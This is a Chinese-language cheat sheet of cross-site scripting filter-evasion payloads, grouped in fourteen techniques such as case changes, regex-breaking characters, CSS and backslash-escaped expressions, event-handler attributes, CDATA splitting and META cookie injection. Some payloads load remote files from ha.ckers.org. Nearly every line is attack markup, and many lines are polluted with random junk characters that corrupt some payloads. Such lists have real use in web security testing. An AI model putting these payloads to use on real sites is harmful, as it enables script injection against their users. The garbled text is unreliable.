1. 改变字符大小写
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<sCript>alert(‘d’)</scRipT>0 Y6 _# Q! @' a8 K! W
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2. 利用多加一些其它字符来规避Regular Expression的检查
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9 I6 g1 @) M. v% x; N <<script>alert(‘c’)//<</script>' G7 i6 l5 L9 ]; }) ~
2 R1 }, q/ j. Q7 ^5 c <SCRIPT a=">" SRC="t.js"></SCRIPT>" q& G% ^2 Z- I4 ~4 N
+ r$ ^2 W1 u& V5 \! B <SCRIPT =">" SRC="t.js"></SCRIPT>
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9 U" L$ M' B8 c; `6 M <SCRIPT a=">" ” SRC="t.js"></SCRIPT>, L( D- Q& p( \$ D
7 F+ `, |$ L0 [ <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>2 u S9 D9 \: M' w
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<SCRIPT a=`>` SRC="t.js"></SCRIPT>
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<SCRIPT a=">’>" SRC="t.js"></SCRIPT>$ Q+ q: m& n/ y# \( M, p1 G% S2 |+ w
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3. 以其它扩展名取代.js4 g% c+ w, r% Q& \) J) \
$ h' }1 W& j: N, Q7 v <script src="bad.jpg"></script>7 _8 d r- K3 {: S1 k) t
: B) X* T% g) ~4. 将Javascript写在CSS档里7 C5 ] E8 b" b$ t
0 h! X# V2 @# x9 t$ K. Y. ~ <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">" G" V+ }# l' A. A
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example:) R0 b& U r2 x% J. i2 `
7 w" o. l( u9 `2 I1 X) l" W) l/ B body {, Z4 R% U0 `# A# {
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background-image: url(‘javascript:alert("XSS");’)
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' L9 D$ r3 ]1 Q5. 在script的tag里加入一些其它字符
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<SCRIPT/SRC="t.js"></SCRIPT>
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+ X8 A1 j- I! n# \# l& q$ A! N <SCRIPT/anyword SRC="t.js"></SCRIPT>
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1 f5 ^8 F7 D2 l4 T7 C6. 使用tab或是new line来规避- [/ y3 f+ y* b% G% f2 M
# K- O! G5 Q' C2 y* f! I* z# l! A e <img src="jav ascr ipt:alert(‘XSS3′)">
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<img src="jav ascr ipt:alert(‘XSS3′)">0 M2 I& H( C% ]- s; r
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<IMG SRC="jav ascript:alert(‘XSS’);">
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-> tag
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-> new line
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, o/ x9 W: U( {* d7. 使用"\"来规避
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<STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
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4 s& S% y# l: l. e1 W <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
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<IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
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<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">3 @ l% e P6 |3 [5 b
( H* Z- Q. d8 I/ J: h- s, W <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
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8. 使用Hex encode来规避(也可能会把";"拿掉)9 H2 }2 B. [( h2 Z! \
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<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">! G2 C; `5 F2 S+ ^2 [6 |( c$ ~
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原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
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0 ~' J [7 Q2 w) s" t) L <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
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* e7 }: S4 N; n' I- L2 i- ~ 原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
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4 x& \0 h9 l3 w: i9. script in HTML tag+ Z9 H+ m- B7 g0 e) A
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<body onload=」alert(‘onload’)」>; k P1 v/ m! B4 e$ V$ c
6 I% W: u5 Q" p3 m9 y* b onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload+ Q6 C: b0 I4 I! W! B
+ X% R/ p) `: `# A10. 在swf里含有xss的code
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" ~' N/ C7 s, z N, h <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>- ?. M, J( C( t2 S! k6 Y1 J& g
) ^7 p- [5 J8 e% E& j d( V11. 利用CDATA将xss的code拆开,再组合起来。$ V& T1 k- i5 V- p. q, D! P b
7 L7 @5 M8 W3 E8 F0 x <XML ID=I><X><C>
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: R) s0 J& V4 Z6 |# [( f <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
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</C></X>1 c& Q0 x. U: ~" \* ]
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</xml>' Z6 w$ h/ q$ T( R3 J: _" O) v
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<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
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<XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>. ~( S$ x8 }7 i% Z
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<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
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12. 利用HTML+TIME。" V: u I G3 p. ?
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<HTML><BODY>% j0 p0 o. k x+ X2 q8 z
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<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
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<?import namespace="t" implementation="#default#time2">
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<t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>"> \/ t5 J c% n- v
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</BODY></HTML>
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13. 透过META写入Cookie。
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<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">+ m- q/ ~. v7 V5 A, Y* @: c3 Z
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14. javascript in src , href , url/ w$ w2 r% x& |* J7 T( q
- I' v! n e! p3 c <IFRAME SRC=javascript:alert(’13′)></IFRAME>9 d. Q, n. C9 }' w
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<img src="javascript:alert(‘XSS3′)">; ]. p$ P8 a1 r1 Y) T
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<IMG DYNSRC="javascript:alert(‘XSS20′)">8 W. N+ I& T8 _" p
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<IMG LOWSRC="javascript:alert(‘XSS21′)">
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( B% E9 [ h$ Y8 [1 F <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">
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% Z& ?+ a6 X1 | <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>* E5 H: x( Y9 ]0 |' |7 a8 s b
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<TABLE BACKGROUND="javascript:alert(‘XSS29′)">9 H1 G4 W2 a# a0 E5 w
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<DIV STYLE="background-image: url(javascript:alert(‘XSS30′))"> x" [& ^ k: }1 `/ s
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<STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
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$ _2 f2 j2 X. e) T" o: y& K$ T# @ </STYLE><A CLASS=XSS></A>
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, E! _$ ]" R+ u% ~7 H2 [ <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET> T; z# W8 A+ ], u9 I# Q
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